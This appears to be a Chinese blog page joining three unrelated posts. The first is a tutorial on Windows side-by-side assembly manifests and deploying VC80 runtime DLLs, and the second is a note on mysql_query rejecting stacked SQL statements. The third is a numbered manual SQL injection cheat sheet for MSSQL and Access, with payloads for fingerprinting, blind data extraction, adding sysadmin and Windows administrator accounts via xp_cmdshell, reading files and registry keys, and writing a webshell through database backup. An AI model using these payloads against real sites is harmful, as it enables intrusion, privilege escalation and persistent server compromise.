<assemblyIdentity type='win32' name='Microsoft.VC80.CRT' version='8.0.50608.0' processorArchitecture='x86' publicKeyToken='1fc8b3b9a1e18e3b' />
</dependentAssembly>
</dependency>
</assembly>
 
我们发现原来这是一个XML格式的文件,其中<dependency>这一部分指明了其依赖于一个名字叫做Microsoft.VC80.CRT的库。但是我们发现,<assemblyIdentity>属性里面还有其它的东东,分别是
type系统类型,version版本号,processorArchitecture平台环境,publicKeyToken公匙(一般用来标示一个公司)……把他们加在一起便成了“强文件名”了,有了这种“强文件名”,我们就可以根据其区分不同的版本、不同的平台……总之,有了这种强文件名,系统中可以有多个不同版本的相同的库共存而不会发生冲突。
 
 
[深入]
恩,那么现在,我们就来具体了解一下这一套机制。
首先是强弱文件名的问题。正如上面提到的那样,为了区分不同版本或不同厂商生成的相同的程序集,必须用一个Assembly Manifest程序清单来列出我这个程序集的强文件名--慢着,到这里你可能会问:刚才不是说Assembly Manifest程序清单是列出其所依赖的程序集的强文件名呢,怎么这里变成了当前文件的强文件明了呢?其实,Assembly Manifest程序清单有两部分功能,上面这个实例之所以标注了其所依赖的文件的强文件名是因为其是客户端的Assembly Manifest,在服务端有另外一个Manifest 来标注。
 
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<noInheritable></noInheritable>
<assemblyIdentity type="win32" name="Microsoft.VC80.CRT" version="8.0.50727.42" processorArchitecture="x86" publicKeyToken="1fc8b3b9a1e18e3b"></assemblyIdentity>
<file name="msvcr80.dll" hash="2a0d797a8c5eac76e54e98db9682e0938c614b45" hashalg="SHA1"><asmv2:hash xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#"><dsig:Transforms><dsig:Transform Algorithm="urn:schemas-microsoft-com:HashTransforms.Identity"></dsig:Transform></dsig:Transforms><dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"></dsig:DigestMethod><dsig:DigestValue>phRUExlAeZ8BwmlD8VlO5udAnRE=</dsig:DigestValue></asmv2:hash></file>
<file name="msvcp80.dll" hash="cc4ca55fb6aa6b7bb8577ab4b649ab77e42f8f91" hashalg="SHA1"><asmv2:hash xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#"><dsig:Transforms><dsig:Transform Algorithm="urn:schemas-microsoft-com:HashTransforms.Identity"></dsig:Transform></dsig:Transforms><dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"></dsig:DigestMethod><dsig:DigestValue>7AY1JqoUvK3u/6bYWbOagGgAFbc=</dsig:DigestValue></asmv2:hash></file>
<file name="msvcm80.dll" hash="55e8e87bbde00d1d96cc119ccd94e0c02c9a2768" hashalg="SHA1"><asmv2:hash xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#"><dsig:Transforms><dsig:Transform Algorithm="urn:schemas-microsoft-com:HashTransforms.Identity"></dsig:Transform></dsig:Transforms><dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"></dsig:DigestMethod><dsig:DigestValue>hWq8zazTsMeKVxWFBa6bnv4hEOw=</dsig:DigestValue></asmv2:hash></file>
</assembly>
这个便是从WINDOWS\WinSxS\Manifests目录下取出来的一个manifest文件,再这个文件夹下有一陀子这种XML格式的manifest文件,其是服务端的程序清单。WinSxs是windows XP以上版本提供的[blue]非托管并行缓存(side-by-side catche)[/blue]里面安装了各种版本的经过强文件名签名的系统库,而上面这个文件<assemblyIdentity>正是标注了系统中Microsoft.VC80.CRT的一个版本的强文件名签名,如果其和客户端。.manifest 清单里面<dependentAssembly>所列出的依赖项对上的话,就会被加载。刚才说的side-by-side 是指各种不同的版本并行运行。
上面这个服务端manifest文件中<file>标签具体指明了当前强文件名签名的到底是哪一个文件,其中还有这个文件的Hash签名,以确保文件的完整性。
 
好了,有了这一套机制,就可以非常非常安全地进行库文件关联了,但是、但是貌似还有一个一直困扰我们的问题:这套机制安全是安全了,但是却失去了以前良好的前后版本兼容性,即如果你的系统库发生了升级,那么服务端的版本号发生了变化,那岂不是所有服务端程序都不能使用了吗?其实,windows还使用一个policy的策略文件来确认映射关系。
 
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!-- Copyright ? 1981-2001 Microsoft Corporation -->
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity type="win32-policy" name="policy.8.0.Microsoft.VC80.CRT" version="8.0.50727.42" processorArchitecture="x86" publicKeyToken="1fc8b3b9a1e18e3b"/>
<dependency>
<dependentAssembly>
<assemblyIdentity type="win32" name="Microsoft.VC80.CRT" processorArchitecture="x86" publicKeyToken="1fc8b3b9a1e18e3b"/>
<bindingRedirect oldVersion="8.0.41204.256-8.0.50608.0" newVersion="8.0.50727.42"/>
</dependentAssembly>
</dependency>
</assembly>
 
这便是在WINDOWS\WinSxS\Policies目录下的一个Policy文件,其中<bindingRedirect>标签便指定了所有8.0.41204.256-8.0.50608.0变本的客户需求映射到8.0.50727.42这个我现在系统中安装的比较新的版本的库。当然我们也能对别的字段进行映射,这样便能很好解决系统升级带来的问题。
 
[应用]
经过以上的讲解,大家对整个依赖查找过程都有了一个整体的认识,那么在实际中问题就好解决了。
让我们回到实际问题中,我之前说了,把一个程序编译连接成可执行程序后,在别人的电脑上发现找不到其所依赖的库了,那么怎么办呢?聪明的你自然想到把其所依赖的库相应的版本拷贝到目标计算机上面,可是……当你在拼命寻找那个可执行文件的assembly manifests文件的时候,却突然发现找不到了,在执行目录下面明明只有一个exe文件嘛。是不是没有生成呢?显然不会,原来是资源连接器把那个assembly manifests文件连接到了可执行文件里面了;不信,你可以用你的vc++打开一个可执行文件看看,在其资源项里面就有一个叫做RT_MANIFEST的项目。这个里面就是二进制标示的manifests文件。那么根据这里面提供的要求,将相应版本的依赖文件(一般就是CRT运行库)拷贝到系统目录Windows\WinSxS\,记住一般会是连带着一个特殊命名的目录一起拷贝到那个文件夹下,比如CRT的运行库就是WinSxS\x86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50608.0_x-ww_b7acac55有这样一个目录,其标注了此库的版本号以及签名等信息,以防止多个版本重名时不能复制到同一WinSxS目录下。
 
这样就搞定了么?如果是以前,那么一切都解决了,系统会在这个目录下面找到这个运行库,可是现在单单这样可不行,系统可是要找到这个运行库的assembly manifests文件,并且对比强文件名之后才能加载,所以所以千万别忘了把相应的manifests文件拷贝到\WinSxS\Manifests目录下面。
 
当然,这样在目标的系统文件夹下面打动干戈,自然有些过于暴动了,还好,Windows还为我们提供了一种私有查找方式。这种方式会在前面的位置找不到合适库的时候在本地文件夹下面找。所以你只要把之前的库以及那个manifests文件一起拷贝到你的应用程序的路径下面,就可以使用啦。
 
根据MSDN的说明,在本地查找并加载遵循一下规则:
 
在应用程序本地文件夹中查找名为 <assemblyName>.manifest 的清单文件。在此示例中,加载程序试图在 appl.exe 所在的文件夹中查找 Microsoft.VC80.CRT.manifest。如果找到该清单,加载程序将从应用程序文件夹中加载 CRT DLL。如果未找到 CRT DLL,加载将失败。
 
尝试在 appl.exe 本地文件夹中打开文件夹 <assemblyName>,如果存在此文件夹,则从中加载清单文件 <assemblyName>.manifest。如果找到该清单,加载程序将从 <assemblyName> 文件夹中加载 CRT DLL。如果未找到 CRT DLL,加载将失败。
最后,我想补充的一点是,在你的VC++安装目录下面的“Microsoft Visual Studio 8\VC\redist”目录下,有着所有的提供发布的已经配备相应.manifest的库文件。所以你想要发布一个程序最简单最安全的做法(不用担心用户电脑是否包含你所需要的库)就是把这个目录下面的相应的库的文件夹和你的可执行文件放在一起发布。
比如在X86平台下如果你的可执行文件用到了CRT库(废话么),那么就拷贝Microsoft Visual Studio 8\VC\redist\x86\Microsoft.VC80.CRT这个文件夹到你的程序所在的目录,一起发布,就万事大吉啦!

mysql_query函数只能执行一条SQL语句

        这里做一下笔记,这说明MYSQL+PHP的安全性很高的。

 

###The reason that multiple queries are not supported is to help prevent exploits.###

 

For example, the user could enter something like:

 

  "; DELETE * FROM users;

 

in the name field of a form, which would erase everything in the table when the query is executed.

By allowing mysql_query to support only single commands, this hole is closed.



Modified At 2008-06-08 13:20:46

常用手工注入命令

1.判断是否有注入;and 1=1 ;and 1=2
 
2.初步判断是否是mssql ;and user>0
 
3.注入参数是字符'and [查询条件] and ''='
 
4.搜索时没过滤参数的'and [查询条件] and '%25'='
 
5.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
 
6.猜数据库 ;and (select Count(*) from [数据库名])>0
 
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
 
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
 
9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
 
10.测试权限结构(mssql)
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--
 
11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
 
12.(1)遍历目录
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
 
13.mssql中的存储过程
xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
xp_regread 根键,子键,键值名
;exec xp_regread
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
xp_regdeletevalue 根键,子键,值名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
 
14.mssql的backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='c:\l.asp';
 
15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库
 
16.简洁的webshell
use model
create table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='g:\wwwtest\l.asp';